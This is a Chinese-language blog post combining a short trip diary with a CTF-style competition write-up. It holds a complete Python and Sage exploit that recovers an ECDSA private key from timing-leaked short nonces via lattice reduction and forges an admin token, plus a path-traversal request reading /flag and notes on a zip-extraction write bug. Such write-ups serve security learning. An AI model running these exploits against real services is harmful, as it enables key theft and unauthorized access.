游记
?好像也没有玩,第一天坐飞机,晚上在火车站旁边吃了顿达美乐(?然后打车去酒店。好烦,坐车晕了
第二天比赛,坐牢,第三天比赛坐牢,然后晚上飞机回家。
Realworld
perpetual
要去找solana-labs/perpetuals的0day。看了眼好像archive了没有维护。
神秘codex直接给漏洞找出来了,,
于是搓脚本调利用,,最后简单背包一下就行。

Python
TrustSQL
依旧codex

秒了
这个太刻晴了,给我整甘雨了,,,这真是realworld?出成ctf吧,没什么必要上去演示
Forge
好像队友也是用ai切的,反正主要操作是做调用然后侧信道?吧
Python
from requests import get, postimport requestsimport jsonimport timeimport osfrom hashlib import sha256from ecdsa import SigningKey, SECP256k1import base64url = "http://10.10.10.233:5000"def get_pubkey(): r = requests.get(f"{url}/api/pubkey") return bytes.fromhex(r.json()['vk'])def collect_data(): # Parameters kbits = 240 train_times = 100 ncount = 400 print(f"[*] Setting parameters: kbits={kbits}, train={train_times}, ncount={ncount}") r = requests.post(f"{url}/api/set_param", json={ "kbits": kbits, "train": train_times, "ncount": ncount }) print(f"[*] Set param response: {r.json()}") print("[*] Collecting training data...") r = requests.get(f"{url}/api/train") data = r.json() costs = data['costs'] sigs = data['sigs'] # Pair them up pairs = [] for c, s in zip(costs, sigs): pairs.append((c, s)) # Sort by cost (ascending) pairs.sort(key=lambda x: x[0]) # Take the top ones (fastest) # We expect half of them to be small k (kbits=240) # Let's take top 60 to be very safe top_pairs = pairs[:60] print(f"[*] Collected {len(top_pairs)} signatures with low signing time.") # Prepare data for Sage # We need r, s, and the message hash # Message is fixed in server.py: b"Not your keys, not your coins!" msg = b"Not your keys, not your coins!" msg_digest = sha256(msg).digest().hex() output = { "msg_digest": msg_digest, "sigs": [p[1] for p in top_pairs], "n": int(SECP256k1.order), "kbits": kbits } with open("data.json", "w") as f: json.dump(output, f) print("[*] Data saved to data.json")def forge_token(): if not os.path.exists("privkey.txt"): print("[-] privkey.txt not found. Run solve.sage first.") return with open("privkey.txt", "r") as f: d = int(f.read()) print(f"[*] Loaded private key: {d}") sk = SigningKey.from_secret_exponent(d, curve=SECP256k1) # Verify against public key vk = sk.verifying_key r = requests.get(f"{url}/api/pubkey") server_vk_hex = r.json()['vk'] my_vk_hex = vk.to_string().hex() print(f"[*] Server VK: {server_vk_hex}") print(f"[*] My VK: {my_vk_hex}") if server_vk_hex != my_vk_hex: print("[-] Private key mismatch! The recovered key is incorrect.") return print("[+] Private key verified!") # Payload payload = json.dumps({"username": "admin"}).encode() # The server decodes base64 payload # payload = base64.b64decode(payload) # So we need to base64 encode it payload_b64 = base64.b64encode(payload).decode() # Sign payload # verify_token: # msg = parts[0].encode() -> this is payload_b64.encode() msg = payload_b64.encode() msg_digest = sha256(msg).digest() signature = sk.sign_digest(msg_digest) sig_b64 = base64.b64encode(signature).decode() token = f"{payload_b64}.{sig_b64}" print(f"[*] Forged token: {token}") # Access welcome cookies = {'token': token} r = requests.get(f"{url}/welcome", cookies=cookies) print("[*] Response from /welcome:") print(r.text) if "flag" in r.text.lower() or "admin" in r.text.lower(): print("[+] Exploitation successful!") return tokenif __name__ == "__main__": while True: os.system("rm privkey.txt") os.system("rm data.json") collect_data() os.system("sage solve.sage") try: token = forge_token() if token is not None: print(f"[+] Use this token to access admin: {token}") break else: print("[-] Failed to forge token.") continue except Exception as e: print(f"[-] Error during forging token: {e}") continuePython
import jsonfrom sage.all import *def solve(): print("[*] Loading data...") with open("data.json", "r") as f: data = json.load(f) sigs = data["sigs"] msg_digest = int(data["msg_digest"], 16) n = int(data["n"]) kbits = data["kbits"] # Parse signatures parsed_sigs = [] for s_hex in sigs: r = int(s_hex[:64], 16) s = int(s_hex[64:], 16) parsed_sigs.append((r, s)) m = len(parsed_sigs) print(f"[*] Loaded {m} signatures") # Prepare HNP parameters # k = s^-1 * (z + r * d) mod n # k = s^-1 * z + s^-1 * r * d mod n # k = t + u * d mod n ts = [] us = [] for r, s in parsed_sigs: s_inv = inverse_mod(s, n) t = (s_inv * msg_digest) % n u = (s_inv * r) % n ts.append(t) us.append(u) # Eliminate d # k_i = t_i + u_i * d mod n # k_1 = t_1 + u_1 * d mod n => d = u_1^-1 * (k_1 - t_1) mod n # k_i = t_i + u_i * u_1^-1 * (k_1 - t_1) mod n # k_i = t_i + w_i * (k_1 - t_1) mod n # k_i = t_i + w_i * k_1 - w_i * t_1 mod n # k_i - w_i * k_1 = t_i - w_i * t_1 mod n # Let c_i = t_i - w_i * t_1 mod n # k_i - w_i * k_1 - l_i * n = c_i # k_i = w_i * k_1 + l_i * n + c_i # Try different subsets available_sigs = len(sigs) for num_sigs in [20, 25, 30, 40, 50, 60]: if num_sigs > available_sigs: break print(f"[*] Trying with {num_sigs} signatures...") subset_indices = range(num_sigs) # Recalculate ws and cs for this subset # We need to re-index relative to the first element of the subset # Let's just use the first num_sigs from the sorted list # We assume they are sorted by quality (time) current_ts = ts[:num_sigs] current_us = us[:num_sigs] u1_inv = inverse_mod(current_us[0], n) ws = [] cs = [] # Centering # k_i = w_i * k_1 + l_i * n + c_i # We want k_i in [0, 2^kbits) # Shift to [-2^(kbits-1), 2^(kbits-1)) # k_i_centered = k_i - 2^(kbits-1) # k_i_centered + 2^(kbits-1) = w_i * (k_1_centered + 2^(kbits-1)) + l_i * n + c_i # k_i_centered = w_i * k_1_centered + l_i * n + (c_i + w_i * 2^(kbits-1) - 2^(kbits-1)) bias = 2**(kbits-1) for i in range(num_sigs): w = (current_us[i] * u1_inv) % n c = (current_ts[i] - w * current_ts[0]) % n # Adjust c for centering c_prime = (c + w * bias - bias) % n ws.append(w) cs.append(c_prime) B = 2**(kbits-1) # Bound is now half the range matrix_rows = [] # Row for k1_centered row = [1] + ws[1:] + [0] matrix_rows.append(row) # Rows for n for i in range(num_sigs-1): row = [0] * (num_sigs+1) row[i+1] = n matrix_rows.append(row) # Row for target row = [0] + cs[1:] + [B] matrix_rows.append(row) mat = Matrix(ZZ, matrix_rows) # print("[*] LLL reduction...") L = mat.LLL() for row in L: if abs(row[-1]) == B: pot_k1_centered = row[0] if row[-1] < 0: pot_k1_centered = -pot_k1_centered # Recover k1 pot_k1 = pot_k1_centered + bias # Calculate d d = (u1_inv * (pot_k1 - current_ts[0])) % n # Verify k2_calc = (current_ts[1] + current_us[1] * d) % n # Check if k2 is small (it should be) # Also check if it matches the public key if we had it, but we don't easily here. # But we can check if the recovered d is consistent with ALL signatures in the subset consistent = True for j in range(num_sigs): kj_calc = (current_ts[j] + current_us[j] * d) % n if kj_calc >= 2**kbits: consistent = False break if consistent: print(f"[+] Found private key: {d}") with open("privkey.txt", "w") as f: f.write(str(d)) print("[*] Private key saved to privkey.txt") return print("[-] Failed to recover private key")if __name__ == "__main__": solve()AWDU
叫什么awdu啊,就是现在awd不都是这样么
Web - fox
第一个洞
response = r.post(f"http://{ip}:{port}/index.php/plus/download/file", data={"name": "../../../../../../../../../flag"}).text 任意读。name必须走post发来避开他防火墙,所以fix就是反过来把post给收掉。
第二个洞
应该是Zipdown的解压,可以构造恶意包解压来做任意写。没写出来攻击。
Pwn - smiles
Shell
ADD. /flag三个空格。怎么还是个后门来的。
队里没pwn了,做到这样差不多拼尽全力了…后面复现试试看做其他的?